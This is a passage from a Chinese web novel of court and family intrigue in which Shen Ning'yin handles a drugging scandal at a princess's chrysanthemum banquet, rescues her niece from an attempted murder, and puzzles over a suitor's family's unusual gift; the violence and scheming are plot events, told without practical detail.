“怎么？没话说了？”宋氏冷声道。
沈宁音脸上的笑容淡了几分，并未躲闪地直视朱侍郎夫人宋氏：“夫人这话好没道理。”
“你什么意思？”宋氏没料到她明明理亏，竟然还敢顶嘴。
沈宁音看向章嬷嬷，道：“还请嬷嬷如实告知长公主殿下，其一，我这两位妹妹初来乍到，哪有手段对男宾用药？”
她看了一眼朱七郎：“这位朱公子相貌堂堂，朱家教养得宜，自然不可能随便饮用陌生女娘给的酒水。我想定是有什么误会。”
沈宁音这番话打了宋氏一个措手不及，从根源上杜绝了宋氏再攀诬沈家家族。倘使宋氏咬定是沈弦思与沈引章对儿子用药，那就坐实了朱侍郎家家风不正。
宋氏咬牙切齿，沈宁音却是有恃无恐的。沈家左右也不受圣人器重，光脚的不怕穿鞋的。
“好，你好得很！”宋氏满脸觉得晦气的表情：“那你们沈家便赔些个汤药钱！”
宋氏自觉着已经让步太多，哪知沈宁音见好也不收，朱唇轻启：“慢着。”
宋氏咬紧后槽牙：“你还想怎样？”
沈宁音低头睃了一眼地上的沈弦思，又抬起眼眸软声道：“我这两位妹妹既无过错，又何来赔银子一说？”
银子不可能赔，再少的钱，也都是“认错”，沈宁音深谙此道，绝不松口。
宋氏暴怒：“沈氏！你不要欺人太甚！”。沈宁音还没说什么呢，旁边儿的沈含鸢已经按捺不住红了眼睛，她愤愤开口：“什么叫欺人太甚！我与弦思姐姐清清白白的女儿身，如今见了水，朱郎君又在场，朱……朱七郎君必须要负起责任来！”
在场众人都是叹为观止。无妨朱七郎是个怎样的人，女儿家当着长辈和同辈的面儿说出这等话，简直不知礼数，孟浪至极。
宋氏一口气没抽上来，满头发晕。
沈宁音是真想将沈含鸢的破嘴塞起来的，这人想要嫁入朱家的心思昭然若揭，再看看她脸颊上的羞意，简直是跟喊出来没什么两样。
“你闭嘴！”沈宁音这会儿没空与她分说理由。
宋氏大喊了一声，怒冲冲地要往主院儿去：“我这就要找长公主殿下评评理去！”
沈含鸢慌了，沈引章、在场所有人都慌了。
这等事儿让章嬷嬷在场，然后两家好生处置私了影响是最小的，若闹到柔福长公主处，那意义可就不一样了。
“好啊。”沈宁音不忧反笑，捞起百迭裙裙裾就跟着往前去。
她这反应叫所有人都摸不着头脑，众人只听她声音温温柔柔地开口：“正好叫长公主殿下好好审一审那郎中，看看令郎除了中药可还有旁的病症！”
所有人都有点摸不着头脑，唯独朱七郎脸色惨白。
沈宁音走得极快，不一会儿就超过了缓慢下来的宋氏。正要一口气走出人群时，沈宁音却蓦然瞧见远处亭子里有两个人，其中一抹靛蓝色身影让她莫名觉着有些眼熟。
沈宁音不由得加快了脚步，想走得近些，瞧清楚些。但下一瞬，她只觉
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手腕一紧，沈宁音本能地朝后头一转。
入目并非宋氏，竟然是秦耀阳。
“宁音，你没事吧？”秦耀阳抓着她的手腕，目光无声地覆没：“可有受了欺负？”
秦耀阳一来，周遭惊起一阵唏嘘声。
他姿容出色，参加这等宴会自会成为最耀目的焦点，只是他下一句话差点儿没把沈宁音气个倒仰。
秦耀阳凝眉看了看宋氏、朱七郎还有沈家两个妻妹，心绪烦乱道：“不就是赔点银子的事？我们赔了。”
沈宁音狠狠吸了口气，死死掐着掌心这才维持住了温婉的形象。
“世子愿意赔，自然是最好。”宋氏有些心有余悸地看向沈宁音。
“要多少银子？”秦耀阳要去掏荷包。
沈宁音沉着脸色。秦耀阳是她的夫君，她的天，更是昌平侯府的脸面，她作为大妇主母决不能当面打夫君的脸面。
但若真叫他掏了这个钱，沈含鸢和沈家那几个妹妹的名声在高门权贵里头可就传烂开了。
虽也是她们咎由自取，可沈宁音想到了沈玉珠。
她捏着裙裾的手，缓缓攥紧。沈宁音飞快地思忖着破解的法子，冷不丁瞧见了地上一动不动装死的沈弦思。
“要多少银两。”秦耀阳抽开荷包的线绳问。
宋氏不以为意说了个：“五十两。”
这么点儿银子对这里的公子哥儿来说，不过是个零花，宋氏想来是随便说个数意思意思。
可正所谓一分钱难倒英雄汉，秦耀阳不是英雄汉，但架不住昌平侯府入不敷出，他这些天因着没怎么出门，朝松鹤堂支取的银子并不多。
宋氏哪里能想到堂堂昌平侯府的世子爷身上竟摸不出来五十两银票。
沈宁音站在那儿没说话，秦耀阳收回手，微微往她的方向靠了靠，用只有两个人的声音尴尬询问：“宁音，你带钱了么？”
118. 告状
“没有。”沈宁音不动声色挪步往回走，看似耍小性子避开秦耀阳。其实她的脚踩上了沈弦思的手背。她瞧见沈弦思的眼皮子颤了颤。
沈宁音没料到，随着她鞋底碾压的力道一层层加码，沈弦思竟挺能忍的。
眼瞧着秦耀阳伸手要去摘腰间的玉佩，秦耀阳不怕丢脸，他什么荒唐事儿都能做出来，但沈宁音不能，她不能拿昌平侯府的体面去赌，她狠狠一使劲——
“啊！”地上的沈弦思几乎是裹着被子跳起来，沈弦思惊慌里带着愤怒瞪向沈宁音。
“妹妹醒了？”沈宁音无视了沈弦思眼里的不满，佯作惊喜道：“太好了，妹妹醒了就好，正所谓解铃还须系铃人，此事原也该你这当者来讲讲的。”
沈弦思既然做下这档子事，她便要自己去承担责任。哪有成了是她的好，坏事后找人兜底的？
秦耀阳一听沈宁音这般说，捏着玉佩的手也是收了回去，他自己也不知为何，瞧见沈弦思这妻妹就厌恶：“是这个理。”
宋氏看昌平侯府世子两夫妻都一副不愿管的样子，她便将冰冷的目光看向满脸苍白的沈弦思：“你怎么说？”
沈弦思一时没说话，眼眶蓦地红了，眼泪将落未落楚楚可怜的样子，她将那江南水乡养出来的水润芳嫩彻底地展现出来。沈弦思双腿一软，膝盖便砸在了地上。
这声闷响沈宁音听在耳朵里便知道，沈弦思是实打实下了力气的，想必要不了多久膝盖就要淤青了。
她是真狠。
此时此刻，在场众人都惊疑不定地看向沈弦思。然而，沈弦思就似感觉不到疼一般膝行几步一手拉住了宋氏的衣摆，泪水似断线的珠子般颗颗滚落：“朱夫人，都怪我，是我没看清路才摔下去的，但是您信我，朱郎君身上的媚药不是我们姐妹做下的。真的！”
沈弦思能在阮家与沈家都吃得开，绝不全靠着爹娘偏心，她的确恃宠而骄，而与此同时，她也极擅长示弱。
她会让所有人共情她很弱，很可怜。一面欺负着别人，一面叫旁人觉得她自己才是受害者。
譬如现在，沈弦思砰砰在地上磕头，发丝凌乱贴在苍白的鹅蛋脸上，破碎的感觉竟让被他攀扯住的朱七郎都有了几分动摇。
“娘，要不就算了……”朱七郎小声嘀咕。
他刚怜香惜玉完，宋氏还没表态，沈弦思已经耳尖听见了，她脸上带着喜悦与羞怯：“多谢朱公子既往不咎。”
“只是……”沈弦思一面落泪一面抿着唇哭道：“小女子的清誉就这么毁了，往后该如何是好……”
宋氏原本冷静下来的情绪噌地一下又蹿上去了，沈弦思这般人心不足，宋氏哪里能放过她，当即大吼道：“好哇！都这样了，你竟还想叫我朱家负责？！”沈弦思一脸决绝：“既然夫人您这么说！那小女子便跟夫人一同去见长公主殿下。”
沈弦思身子晃了晃，离她最近的恰好是朱七郎，他当下竟鬼使神差伸手扶住了她。
只是沈弦思这会儿偏偏满脸倔强地自己站直了身子，一张清丽的小脸分外惹人怜爱。朱七郎感受到女娘的身子一触即离，久经温柔乡的朱七郎哪里不懂这些个撩拨，当下心中一荡，
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看向沈弦思的眼底就热切了几分。
这点小动作不过是瞬息间，大多数人并不会察觉，就算注意到，也不会往那方面去想，可沈宁音却将一切尽收眼底。
宋氏听了沈弦思的话，当即就有些惊疑不定。沈弦思一个未出阁的姑娘家竟这么能豁得出去？
一行人浩浩荡荡就往长公主所在的主厅去，沈含鸢给带下去换衣裳，而沈引章则扶着沈弦思走在前面。
沈宁音慢了几步走在后头。
“宁音，你就不担心？”秦耀阳凝眉看着前面的人群，又四下里张望着：“也不知母亲去了何处，要不你先过去，我去寻她？”
沈宁音未置可否，敛眸：“世子请便。”她没拦着，也没点儿焦急的模样。秦耀阳着实瞧不懂她，叹了口气匆匆忙忙离开了。
几个夫人统统都去瞧热闹了，沈宁音却往另一个方向去。
倒也不是她不关心沈家与昌平侯府的声誉，是沈宁音知道，不会有大问题。
沈弦思与沈含鸢对赏花宴里头的贵族郎君是有野心的，但她们还没那个胆子更没机会在赏花宴这样的地方，在靠近男宾区域的地方下媚药。
她们想嫁入高门，却还不想身败名裂。
药是别人下的。
至于朱侍郎家，沈宁音前世就听闻过，礼部侍郎朱家最不成器的儿子染了脏病。
估摸着这会儿应该也有点端倪了。
这也是郎中不敢说的原因。长公主就算查出来，也会按住了所有风声。
而今，沈宁音最上心的，还是侄女玉姐儿。
119. 杀机
沈玉珠跟着丫鬟白惜走了好远，越走越觉不对。
她记得先前离开的地方有亭子有石桌石凳，周遭环绕着深秋初冬的花儿，便是靠近她也能嗅到馥郁的香味。
可现在，四周的院落虽依旧红墙绿瓦，可片片廊庑里透着发霉的破败气息，一看就知没什么人往来。
沈玉珠走着走着就停下了脚步。
白惜察觉身后的异样，声音低沉平淡：“沈姑娘，怎么不走了。”
她的明知故问让沈玉珠心中升腾起警觉，沈玉珠将帕子紧攥在掌心，咬了咬牙：“白惜姑娘，咱们走错路了？”
白惜转过身看向她，天井中有两棵高大的落叶梧桐，云翳将日头遮掩得微曦，透过光杆杆的枝桠洒在地面的枯叶上，是白惨惨的光与腐烂的黄。
“没有啊，这是近路。”
白惜的身影上罩着浅淡的光影，叫她没来由地浑身泛着寒。沈玉珠心脏咚咚地跳，下意识往后退了半步。
就在这一刹，白惜毫无征兆地抬手将沈玉珠抓在掌中。
“你做什么！”沈玉珠惊呼一声，本能地挣扎起来。
白惜不发一语，力气大得惊人，几个呼吸之后沈玉珠就被她摁在了一处磊起来的石块旁边。
沈玉珠只看了那石块一眼，顿时心沉到谷底——那是一口水井。
“你要做什么！？”沈玉珠吓得一佛出世二佛升天，可千钧一发之际她突然想起了自己的姑姑。
想起了沈宁音。
沈玉珠蓦地冷静下来，一冷静，她便不再挣扎。
白惜本是将她往井口拉拽的，可沈玉珠这么一变故，白惜反而不好做下去了：“你怎么不挣扎了？”
沈玉珠抬起眼睛，松开咬得泛白的唇，开口道：“人不会无缘无故做要命之事。”沈玉珠死死捏着手指，继续说着：“我并未得罪任何人，所以，你这么做到底有什么目的？”
白惜眼里闪过一抹愣怔，但很快，她眼神冷了下来，伸手掐住了沈玉珠的脖颈：“我只是听命行事！怪只怪你起了不该有的心思！”
沈玉珠瞠大了眼睛，她脑子里一时间只闪过了那一阕靛蓝色的衣袂。
是薛大人要杀自己？
随着手中女娘的挣扎，白惜在看着她眼神的时候眸中也有一分犹豫。
将人害死跟亲手杀死还是有一些区别的。
也就是这一分犹豫，为沈玉珠迎来了转机。
隐隐约约的呼喊声穿进了沈玉珠二人的耳膜，头一遭当场杀人的白惜一瞬间就慌了，她下意识转头往声音来路去看。
说时迟那时快，沈玉珠积蓄了许久的力气瞬间爆发出来，抓着一块石头就往白惜脸上砸了过去。
白惜吃痛，发出一声压抑的嘶叫，女人一个踉跄后退，果决非常地捂着脸落荒而逃。
沈玉珠浑身颤抖，想要爬起来，可是双腿软绵绵地使不上力气，只余下胸腔里的心脏在紧张之下疯狂乱跳。
“玉姐儿！”熟悉的声音带着关切与绝对的温柔，裹挟着令人安心的桃花香紧紧将她包围。
沈玉珠扬起小脸，冲着上方的沈宁音露出个笑：“姑姑……”不过转瞬，笑脸化作了収也收不住的哭泣：“你怎么才来呀……”
沈宁音心疼得不行，抱着小姑娘又哄又拍。沈宁音很是自责，她原本想着沈玉珠来这宴会寻不着好亲事也该认识认识些年纪相仿的手帕交，这才将人留在原处的。
哪知自己一走，侄女竟险些让人害了去。
沈宁音一瞧见旁边儿的枯井就觉着后怕。
要不是她前世懂得这么些险恶阴司，也绝不会往这些地方来寻。
这种破败荒芜的院落本就少人来，再将尸体往枯井里一扔，井口一盖，几年十年的也没人会往这儿想。
“没事了，姑姑在。”沈宁音哄着沈玉珠不哭了后，这才一面查看她伤到哪儿，一面询问细节。
等得知那女人的名字和来历，沈宁音不禁一怔。
“薛岚？”沈宁音有些迟疑，但沈玉珠点头得分外肯定。摸了摸小姑娘的发，沈宁音神色严肃，捏紧了帕子，沉声道：“好，姑姑定替你讨个说法！”
此时此刻，主厅后边儿的大院儿里头，有个
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戏台，身份尊贵的贵人们有一部分正听着戏。
戏台上粉面桃腮唱鸳鸯。
听最红的角儿，唱宣纸一刹引诗画，唱提笔月下摹桃花。
长公主遇着事儿自会上明间处置分说，而这些于清河郡主李云英却是不相干的。
她对那些不足轻重的事素来没兴趣关注。
只是急匆匆赶来个侍女附在她耳边说了几句什么，李云英倏然睁开一双怒目。
有察觉到的夫人纳罕地询问：“郡主，怎么了？”
李云英深吸口气，脸上的笑意很淡，带着敷衍：“些许小事，我先出去一下。”
她说着便离开了座位。
李云英一脚踢开了暖阁的木门，暴怒的气息几乎要择人而噬。她指着地上狼狈的白惜尖声吩咐：“给我掌嘴！”又抓起桌上的陶瓷杯狠狠砸在地上：“狠狠打！”
白惜眼神绝望，她想磕头，可还没将脑袋叩在地上便给人拖拽到一旁，刚打了两三下，白惜的嘴巴就肿了起来，白惜吞咽着口腔里铁锈味的口水，死死地抓住了婆子拿着工具的手：“郡主！郡主！奴婢知错了！别打了！”
白惜跟在李云英身边多年自然清楚她的脾气，仅仅只是求饶的话，非但无法得到宽恕，反而会激起她的杀心。
白惜的身份是不错，身份却不是能保命的理由。
“你要反了不成！”李云英，眼底的杀意一闪而过。她走上前一脚踹在白惜的心窝，短暂的麻痹之后剧痛使得白惜胸腔浮现出一股子难以疏解的窒息感觉。
白惜趁着李云英扯着自己头发往上提的瞬间，颤抖着开口：“郡主，奴婢只怕嘴打烂了无法在薛大人那圆过去……奴不是私心！”
李云英一双漂亮的眼眸像蛇一般剜过手底下女人狼狈的脸。
万幸的是，她松开了手。
“都是废物。”李云英愤愤地整理着袖子，脸色难看：“怎么这么多接近他的人啊！他怎么就这么招蜂引蝶？”
“杀不完……竟然还没杀死！”
门外蓦地传来一道声音：“郡主，薛大人入座了。”
120. 送礼
沈宁音领着沈玉珠与秦家众人碰面，菊苑的空地上错落设置着席位，秦耀阳过来迎她时，闵氏脸色有些不悦。
沈宁音只当没瞧见，她在秦耀阳身旁坐下。
“秦世子。”永宁伯夫人很快就走过来打招呼，她最后看向沈宁音，脸上带着笑：“秦二少夫人，我那儿带了些小礼物，不值几个钱，是个心意，想送予少夫人跟姑娘们。”
旁边的沈引章见了，移开脸去。
永宁伯夫人转头要去看时，沈宁音起身挡住伯夫人的视线。
沈宁音嘴角扬着笑，拉着永宁伯夫人的手，态度亲昵不减：“这自然好，不如现在就着人去取，也省得一会儿你再叫人送来。”
永宁伯夫人眼里闪过喜色：“好好好。”
这不过是宴会里头各家夫人相看与回应的流程罢了。永宁伯夫人肯送礼，那定然是有那层意思在的。
只是这会儿闵氏的脸色越发难看，闵氏瞥了一眼不远处的沈家姐妹那一桌，又瞧了瞧身边无人问津的闵家侄女们，她冷哼了一声，抓着杯子就灌了一口果汁：“真晦气。”
闵氏不说，几个闵小姐也清楚情况——沈家来的几个女娘在这宴会算是出了名了。
不光彩的事儿牵扯上了朱侍郎家的公子，甚至还闹到了长公主跟前去！可偏偏这么衰的事情竟然没有引起任何波澜，生生让柔福长公主给弹压下去了。
非但如此，在明知道沈家出了丑事的情况下，永定伯夫人还是对沈宁音抛出了橄榄枝。
两相对比之下，闵氏这个正经侯夫人会来气也再正常不过了。闵氏方一转头，就瞧见颜色最好的闵五娘吃酥饼，手指上油漉漉的正小心翼翼舔手指。闵氏更气了，拿起筷子就往她手背上敲了一记：“还吃！看你们这出息！”
沈宁音正好回来，身边儿领着仆从，她抬了抬手，几个朱漆盒子就送到了沈家几个姐妹手里头。
这会儿多的是知晓一些内情的人对沈弦思指指点点，但她淡定得很，沈引章自从回宴会后就沉默不语，唯独沈含鸢，她吃了惊吓，想找人说说话，可举目四顾，唯一一个尚算正常的，就只剩下她最讨厌的沈宁音。
沈家一桌很是沉默，姑娘家虽规矩重，不宜当场拆开礼物展示人前，但悄摸窥伺一眼还是允许的。
沈弦思最先拆，离得近的沈家人看着了精致的茶包，沈含鸢的也一样。
沈引章略略松了口气，大家都是茶包，她估摸着自己的定然也一样。
只是等她抽出匣子的瞬间，她瞳孔略略缩紧。
沈引章的表情僵住，坐她身边儿的沈含鸢好奇道：“怎么了？是什么？”沈含鸢伸手要去查看，手刚碰到匣子，沈引章已经将东西塞进袖口：“没什么。”
一直关注着沈家姑娘的闵五姑娘撇撇嘴：“一个茶包罢了，还当多稀罕似的。”
闵氏盯了闵五姑娘一眼，却也没斥责，只顺着说道：“宁音，你合该好好约束着妹妹们，不然大
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惊小怪地失了体面，笑话的还不是你这个做姐姐的。”
“婆母教训得是。”沈宁音声音温婉，低眉顺目的。
旁边的秦耀阳今儿一直被沈宁音冷着，这会儿还没得半句热乎话，当下忙道：“谁敢笑话我昌平侯府的少夫人？”
闵氏被亲儿子怼了一句，想发火，又不好冲秦耀阳去，要数落沈宁音，也没什么合适的理由，当下也只能狠狠剜了沈宁音一眼。
这时，外头传来一声尖细的嗓音：“薛督公到！”
随着这声吆喝，将才还一片表面祥和的赏菊宴顿时变得厚重起来，众人纷纷看向声音传来的回廊尽头。
但见一行穿着华贵锦衣的人不紧不慢地从远处走来。
沈宁音前世见过薛岩，但也只是远远儿地看见过。
老太监并不似那些佝偻老者，他其实精神矍铄，花白的头发服帖地梳拢在幞头里，手里总是捏着两颗翡翠珠子。
沈宁音算一算时日，这会儿他新立了功，不日就要蟒袍加身，成为圣人手底下第二权臣。
而等到第一那位从龙大伴一死，方能成就薛岩这第一佞臣宠臣的巅峰。
但，这些都是朝堂背后的事儿，如今，所有人的目光都聚集了过去，姑娘与郎君们在看的，却并不是那位权势在握的老太监，而是他身后那个年轻人。
青年人长发如瀑，半绾在头顶，没有戴着常见的幞头，一身靛蓝色深衣叫他穿出了一股子绝俗若仙的感觉来。
121. 诗船
沈宁音的手指没来由地一紧，等反应过来时，她连忙移开了目光。
那人竟是薛岚？
薛岚此人，前世她并未过多关注，概因她随夫入京时，薛岚早化作一抔黄土作了古。
坊间有关皇城司这位公事的传言，也不过是凶残暴戾，恣睢乖张。
沈宁音没想到，重来一世，竟有能见着他庐山真容的一天。
一行人走得近了，沈宁音再看时，那股子惊艳感觉倒是被胸臆中那抹理智压了过去。
薛岚脸上依旧戴着半片面具，但与从前不同，面具很薄，甚至能透出皮肤的颜色。
许是因着常年不见阳光，薛岚的皮肤很白，泛着一股子寡淡的寒，可当他完整的面容现于人前时，就连那双天生带煞的凶戾眼眸，都叫他平添了几许孤高清透的神秘。
清绝又危险。
“薛督主，这位是？”周全过礼数，柔福长公主就替所有人问出了这句话。
薛岩脸上是一贯的客气笑容，但说起身旁的后生，却连笑意都真诚了几分：“这是奴才的假子。”
“哦？”长公主来了兴致，目光上下打量薛岚：“不知令郎在何处当差？说出来，也好叫与会的大人们多关照关照。”
长公主这话让大多数人都很是意外，阉党素来不受权贵待见，长公主这等貌似提携的话，是不妥当的。
但她当面提了，就真起了招揽心思的，说不得她还想着分化圣人手底下两大太监。
沈宁音虽有猜测，但却没甚兴致关心这个，她知晓长公主这橄榄枝对方接不得。
果然，在得知薛岚这名字时，长公主热络的目光就歇了下去。
“二姐姐。”这时，沈宁音听见沈引章很轻的一声唤，看过去时，沈引章眼睛里弥漫着细细的血丝，一副要哭不哭的样子。
沈宁音大抵猜到了她想说什么，当下便肃穆了脸色，认真道：“只要礼数周全，别胡思乱想，有什么事等回去再说。”
“……”沈引章张了张嘴想说什么，但沈宁音转开脸不再看她。
不久后，宴会进入最核心的一环。未婚的公子郎君们会在上游放诗船。尚未婚配的姑娘便可以打捞提笔赋答。
眼瞧着闵家姑娘们早早就去河岸边了，沈含鸢也很是兴奋，沈引章原本心事重重，可当她抬眼看见离席的沈弦思，沈引章连忙伸手拉住她：“弦思姐姐，你去做什么？”
沈弦思有婚约在身，于情于理都不该掺和。
“不用你管。”沈弦思抽出袖子，抬起下巴看了沈宁音的方向一眼：“我去出恭不行么？”话罢，她一甩袖子快步离去。
“二姐姐。”沈引章有些不知所措。
沈宁音安抚地道：“不打紧，你也去啊。”她轻轻推了沈引章一把。
见她愣神，沈宁音道：“你多看着玉珠，人太多，怕有闪失。”
听到沈玉珠，沈引章这才蹙眉点点头不情不愿地离开。
“宁音，那边在射箭，你要不要去瞧瞧？”秦耀阳问。沈宁音只瞧了一眼，抿唇拒绝：“不必了。”
秦耀阳虽哄着她，但到底不是个有甚毅力的，当即便捋好袖口去了旁边天井里的靶场。
夫人们三五成群正说着话，都是那些互相有意思的人家。
沈宁音只想着如何找薛岚询问沈玉珠之事，这会儿心里乱糟糟的，也没心思去寻永宁伯夫人攀谈。
而闵氏则是因着闵家女娘并没有人家瞧上。两婆媳就坐在一处，分外尴尬。
尤其闵氏，只觉着沈宁音是故意留在那儿瞧自己的笑话。她当下重重将杯子搁在桌上：“宁音，你是没事做了？”
沈宁音冷不丁被她点到，一时有些茫然，看过去时，就见闵氏冷冷一笑：“你还坐着干什么？说不定你那几个娘家妹妹又惹出什么事儿呢，还不去看着？”
直到闵氏说完话，沈宁音这才反应过来，她起身敛衽行礼：“是，儿媳这就去。”
沈宁音起身就快步往河岸边去。
她是昌平侯府的少夫人，是已婚的女子，自然不能去对诗的，即便私自过去守着，也不合规矩。
但若是婆母开了这个口，那就不一样了。
将
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才附近的人虽少，但闵氏声音不小，自有人给她作证，再加上今日沈玉珠和沈家几个妹妹都出过事，沈宁音也不太放心，于是她便也乐得从善如流。
闵氏看她走了，没人在跟前碍眼，心情当时就舒服多了，可她一琢磨，又有些后悔，当下连忙喊：“宁音，你回来！”
沈宁音早就走远了。
与此同时，上游的水榭，一群人阿谀奉承地同薛岩正说着话。
“薛督公，没想到薛岚大人这般龙章凤姿一表人才。”
听着这些夸赞干儿子的话，素来笑容虚伪的薛岩却是很受用：“这小嘴巴巴的，着实甜，听说你府里还有两个未出阁的闺女，是与不是？”
一听这个，那奉承之人原本笑得如菊花盛开的脸顿时就僵住了。
对权宦阿谀奉承捞好处，和跟太监做亲家可完全不是一码事。
无妨女儿嫁给老太监还是嫁给太监的干儿子，那都是要被同侪戳脊梁骨的。
那人擦了擦额头的汗：“小女待字闺中，不成器的。”
薛岩笑意更盛了：“哎呀，大人不必谦逊……”他安抚两句后，话锋一转：“你看我这干儿子给你做个乘龙快婿如何？”
薛岩指着旁边儿不苟言笑的薛岚问。
“这……”那人额头冒汗，脑子里疯狂思忖着如何推脱才不会被报复针对。
就在薛岩眼神越发阴狠之际，薛岚的声音蓦地从斜刺里传来：“义父，孩儿并无成家的打算。”
他的声音不高，很沉，带着一丝哑，着实算不得好听。但听在那老大人耳朵里不啻天籁。
薛岩没逼得几个儿媳，当即心有不甘，死死盯了干儿子一眼，这才慢悠悠靠回了椅背。
“你都这么大了，房里边儿没个知冷知热的怎么行。就算纳个妾，等再过两年若是……”
薛岩的话没说完，薛岚抬眸，蹙紧眉头沉声：“您说有乱党，我才……”
“咳！”薛岩咳了几声，挥了挥手：“来人，带你们薛大人去河边，来都来了，去放个诗船也好。”
薛岚冷了脸——
122. 观音
薛岚刚走下石阶，远远儿地就瞧见一身蜀中含光锦的熟悉身影，他脚尖一转便往旁边儿跃下。
“快点儿！”李云英一面匆匆忙忙走，一面整理着百迭裙，灰尖白绒裘滚边的夹袄上，挂着圣人新赐的珍珠衫。今日昭王出了差使，她特特拿出最惹眼时兴的打扮，就是想叫那人惊艳一番。
可哪知——
“郡主娘娘，薛大人方才离席了。”小太监躬身行礼，脸上带着讨好的笑。
“去了何处？”李云英忙问。
小太监私下里打望：“刚走不久啊，怎么殿下没碰见大人？”
李云英脸上砌出的表情差点儿当场皲裂。大宫女吓得连忙将那太监打发走，清河郡主再得宠，可柔福长公主的宴会上开罪薛岩这种大太监委实不智。
太监们身子残了，天知道会因着多么奇葩的小事戳到他们的肺管子。
等小太监走远了，李云英狠狠拧断了一旁的花枝，颤抖着肩膀咬牙：“岂有此理！他敢躲着本郡主！”
大宫女连忙安抚，却是半点效果也无，李云英将花儿捏得残破汁染：“定是有什么狐狸精吊着了他！”
李云英狠狠把手里破败的花叶砸到地上：“你们也是废物！叫你们下药引那寿山伯家的贱人去朱七郎屋里，竟叫她逃过一劫去！”
大宫女脸色惨白，连连磕头求饶：“郡主恕罪，实在是那药性太过霸道，容易出人命，奴才们不敢多下，再加上那位朱七郎君喝得少……竟让他走出去了……”
李云英一脚踢在大宫女心口：“沈家那小贱人也没弄死！本郡主养你们有何用？！”
“奴婢该死！”大宫女不敢再分说，惊恐地将头磕在地上。
李云英抓着百迭裙的手掌缓缓用力：“本郡主要她们死！但凡觊觎我的人的，都得死！”
“做不到，那就你们去死！”
风吹过，泛着水汽的湖面上格外寒凉，涟漪荡漾，巴掌大的小船顺着风飘在湖面。
“快点！”沈含鸢拿手戳了沈玉珠的腰一下，沈玉珠吃痛，直接将手里的木杆缩了回来。
沈玉珠站得离湖水远，本就不好打捞，这么一缩，小船便径直往下面飘去，沈含鸢连忙去追，却是被其他姑娘抢捞了去。
那船上的诗文并不算难，可惜，捞到诗文的姑娘一看就是勋贵家的女娘，沈含鸢不敢抢。
沈含鸢不敢对世家女眷发难，却敢冲比她更弱的人耍狠。
她本就对沈玉珠十分厌恶，当下暴怒呵斥：“你怎么这么没用！连个船都捞不到！”
沈引章越发看不下去胞姐的德性，皱眉维护沈玉珠：“姐姐，你这是做什么？你手好好的怎么不自己捞？非使唤玉姐儿？”
沈引章原本没心思对甚么诗词，这会儿抬手从沈玉珠掌中抽过木杆来：“我帮你捞。”
沈含鸢不敢置信地瞪大了眼，若是旁人这样便罢了，可在她看来：沈引章是她一母同胞的妹妹，现在非但攀附沈宁音这个外人，甚至歪了屁股要坐沈玉珠那桌了！
沈含鸢怒夺木杆：“沈引章！我不要你捞！”
沈含鸢愤怒地扭头，一眼就看见站在一旁仿佛呆滞了的沈玉珠：“你一个小辈帮我捞个船怎么了！？”
沈含鸢将木杆塞进沈玉珠掌心：“去捞啊！你站这么远干嘛，站过去会要你的命么？！”她一面愤怒地说话，一面抬手推搡。
这瞬间，沈玉珠脑海里飞快闪过当初落水，仿佛先前被掐着脖子的窒息感依旧横亘在胸臆，她呼吸困难，瞳孔放大。
浑身僵直的沈玉珠，双腿仿佛灌了铅。
沈含鸢推了一下，看她不躲，更来气了。当下愤而使力，用力将她往湖边推。
沈玉珠僵着的腿蹬蹬蹬连退了三五步，饶是她特特离湖水那么远，这会儿也是脚底一绊要往水里栽。
一刹那，沈含鸢愣住，沈引章也没料想她真敢使力，更没料想沈玉珠会直挺挺往后倒。
沈引章心下一慌，小腿一绊，非但没拉着人，反而往草地上摔。
就在这千钧一发的时候，沈玉珠只觉得手腕一紧，下一瞬，她整个人落入了温暖的怀抱。
沈玉珠心脏跳得发疼，喉咙干涩发紧，抬头看时，看见的，是沈宁音关切紧张的脸。
“玉姐儿。”沈宁音紧紧抱着她，直到两个呼吸之后，沈玉珠的眼泪才滚滚落下，她哭得万分可怜，声音哑得厉害。
沈宁音心疼得不行，抱着小姑娘边拍边哄
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：“没事了，乖哈……没事了，姑姑在。”
沈引章从地上爬起来，一面揉着膝盖一面赶过去红着眼圈关心。
唯有沈含鸢，站在原地惊慌又心虚，等沈宁音抬眼看过来，四目相对，沈含鸢只觉得浑身泛着凉。
没来由的，看见沈宁音的目光沈含鸢就觉得害怕。这种害怕是她往日从没有过的。
沈含鸢下意识后退了半步，捏紧了手里另一根木杆，梗着脖子结结巴巴：“看……看我干什么？我也没怎么！她自己不躲的！沈玉珠离湖水那么远！她是故意往里面倒的！”
沈宁音冷着脸，径直将沈玉珠扶去小径尽头的湖边亭，沈引章连忙跟了过去。
安抚了好一会儿，直到沈玉珠睡着了，沈宁音才松了口气。
她抬眸对沈引章道：“引章，你去玩吧，玉姐儿这有我看着就好。”
沈引章摇了摇头，局促不安地蹲在旁边儿：“我学问不好，不爱对诗。”
其实所谓的对诗，也就是个过场，姑娘们学问不好，那些个权贵公卿也不见得人人都满腹诗书气自华。
沈宁音知晓，沈引章是内疚了，女娘低头看着沈玉珠，手指不停地摩挲着裙裾。
从前的沈玉珠，惹不得沈宁音恻隐之心，便是永宁伯家的姻缘，沈宁音都预备袖手旁观。但她如今的表现，沈宁音倒也愿意帮着她牵一牵永宁伯家那根姻缘线。
思忖片刻，沈宁音放柔了声音问：“引章妹妹，你觉得永宁伯府如何？”
沈引章身子一僵，攥紧了帕子，抿唇摇头。
“你不愿意？”沈宁音问。
沈引章抬眸：“嗯。”她先前就想同沈宁音说的，这会儿四下无人，沈引章跪下，眼圈绯红，伸手握住了沈宁音的手掌：“二姐姐，那礼物……那礼物……”
沈宁音愣怔住，她大抵能猜到沈引章收到的东西是不同的，却不知她为何如此反应。
“拿来我瞧瞧。”
沈引章没犹豫，将袖子里的东西递过去。
沈宁音抽开匣子，只一眼便飞快地关上了，她蹙紧了眉头。
那匣子里的，是一枚玉观音。
正所谓男戴观音女戴佛，此物乃是男子的贴身之物。
123. 选定
沈引章委屈地擦眼泪：“二姐姐，永宁伯夫人在含鸢姐姐与思姐姐出事时本就直接疏远于我，如今又……她们定没有诚心，不如算了……”
沈引章觉着，先前河边时沈宁音就在场，现在必定是要安抚两句帮她推了的。
可沈宁音的目光落在朱漆匣子上，良久，沈宁音抬眸看向沈引章：“这件事兴许有什么内情。”
“二姐姐……”沈引章瞳孔轻颤，有些不敢置信。
没等她说出下一句话，沈宁音已经伸手握住了沈引章的柔荑，沈宁音轻拍了拍：“勋贵人家，家大业大的，哪有不谨慎的？”
沈宁音很清楚，永宁伯家并不似公侯之家那么煊赫，能不顾他人目光，也非是寒门小族那么毫无约束。伯府与沈家并没有定下，所以，遇着问题时避嫌疏远才是明智，换了别家，沈引章再遇不到更好的门第。
